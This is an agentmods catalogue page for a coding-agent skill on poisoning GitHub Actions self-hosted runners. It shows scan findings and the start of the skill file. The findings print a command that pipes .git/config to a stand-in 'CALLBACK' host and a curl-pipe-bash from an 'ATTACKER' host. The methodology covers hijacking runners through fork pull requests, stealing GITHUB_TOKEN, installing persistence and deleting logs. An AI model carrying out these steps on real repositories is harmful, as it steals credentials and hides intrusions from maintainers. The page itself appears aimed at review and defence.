self-hosted-runner-poisoning

self-hosted-runner-poisoning is a skill for Claude Code, Codex from SecurityTalent/bugskill-ai. It costs 126 tokens per session (2,084 once invoked), scanned E, original, MIT.

A security-checking skill for GitHub Actions jobs that run on self-hosted machines. These machines keep files, tools, and credentials between workflow runs, unlike temporary hosted machines.

In plain words
What is it for?
It is for reviewing runner settings, fork workflows, approval rules, runner labels, and user-controlled job selections.
Why use it?
It helps find cases where code from a forked pull request could run on a privileged machine and affect later jobs or stored credentials.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: mentions Claude Code.

Good fit It is for reviewing runner settings, fork workflows, approval rules, runner labels, and user-controlled job selections.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/securitytalent/bugskill-ai/self-hosted-runner-poisoning
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add SecurityTalent/bugskill-ai --skill self-hosted-runner-poisoning
Clone the repo
git clone --depth 1 https://github.com/SecurityTalent/bugskill-ai

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for self-hosted-runner-poisoning

README.md
[![agentmods](https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/self-hosted-runner-poisoning/github.svg)](https://agentmods.dev/skills/securitytalent/bugskill-ai/self-hosted-runner-poisoning)
Your own site
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/self-hosted-runner-poisoning"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/self-hosted-runner-poisoning/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for self-hosted-runner-poisoning

Your own site · 80×15
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/self-hosted-runner-poisoning"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/self-hosted-runner-poisoning.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 126 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,084 The whole file, excluding the scripts and references it only reads on demand.
Security scan E 4 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00126 $0.02084
Opus 5.5 $0.00050 $0.00834
Sonnet 5.5 $0.00025 $0.00417
Haiku 4.5 $0.00013 $0.00208

Measured 20d ago against content hash e510e1d947b5, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade E, and why

self-hosted-runner-poisoning scanned grade E with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 20d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLmediumData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

cat .git/config | base64 | curl -d @- https://CALLBACK

Downloads and executes remote codehighSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

curl -sSfL https://ATTACKER/runner-install.sh | bash

Unrestricted tool accessmediumExcessive agency

A wildcard tool grant or "run any command" leaves no least-privilege boundary at all.

the workflow's `runs-on` field to target a privileged self-hosted runner and execute arbitrary code on it. Non-ephemeral runners retain their working directory, installed

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

cat .git/config | base64 | curl -d @- https://CALLBACK
Awesome-Claude-Code-Agent-Skills/10-DevSecOps-and-Defense/self-hosted-runner-poisoning/SKILL.md · 170 lines

How it starts

The opening of the file, as written. The whole thing — 170 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Self-Hosted Runner Poisoning

What Is Broken and Why

GitHub-hosted runners are ephemeral and isolated. Self-hosted runners are not — they persist between runs, share state, and often carry long-lived credentials baked into the environment. When a repository allows fork pull requests to run on self-hosted runners (especially with the default "Require approval for first-time contributors" setting), an attacker who has made even one accepted contribution can submit a PR that modifies the workflow's runs-on field to target a privileged self-hosted runner and execute arbitrary code on it. Non-ephemeral runners retain their working directory, installed tooling, and cached credentials across runs — making them ideal for persistence and lateral movement into the broader infrastructure.

Key Signals

  • runs-on: self-hosted or named runner labels (azure-builds, macos-vmware, [self-hosted, linux]) in workflow files
  • Repository setting: "Require approval for first-time contributors" (default) rather than "Require approval for all outside collaborators"
  • Fork PR workflows that use a matrix.os or matrix.runner whose values the PR author can influence
  • Non-ephemeral runner: runner directory persists, processes survive between runs
  • Workflow checks out code without persist-credentials: false → .git/config contains embedded GITHUB_TOKEN
  • runs-on field uses an expression: runs-on: ${{ matrix.os }} or runs-on: ${{ inputs.runner }}
  • Secrets or cloud credentials (AWS_*, AZURE_*, vCenter creds) available in runner environment
  • Repository contains build infrastructure workflows (Packer, Terraform, image builds)

Methodology

  1. Identify repositories using self-hosted runners:
    gato enumerate --target ORG --type org
    # or manually:
    grep -rn 'self-hosted\|runs-on:' .github/workflows/ | grep -v 'ubuntu-latest\|windows-latest\|macos-latest'
    
  2. Check the fork PR approval policy: Settings → Actions → Fork pull request workflows. "Require approval for first-time contributors" = vulnerable after one merged PR.
  3. Check if runs-on uses a matrix or expression that a PR author can modify.
  4. Submit one legitimate PR (typo fix, docs update) to gain "not first-time contributor" status.
  5. In a second PR, modify the workflow to:
    • Change runs-on to target a self-hosted runner label
    • Replace or append a malicious step to the workflow
  6. Confirm code execution via OOB callback.
  7. From runner context: extract .git/config for GITHUB_TOKEN, enumerate environment variables, access credential stores.
  8. Optionally install persistent runner agent for long-term access.
  9. Cover tracks: delete workflow run logs via API using stolen token.

Read the full file on GitHub · 170 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 20d ago First seen · 170 lines · 126 tokens per session scan E e510e1d947b5

Subscribe to this mod's changes

self-hosted-runner-poisoning is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 126 tokens to every session and 2,084 once invoked, about $0.0005 per session on Opus 5.5. A static security scan graded it E with 4 findings (sends data to an external url, downloads and executes remote code, unrestricted tool access). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-27.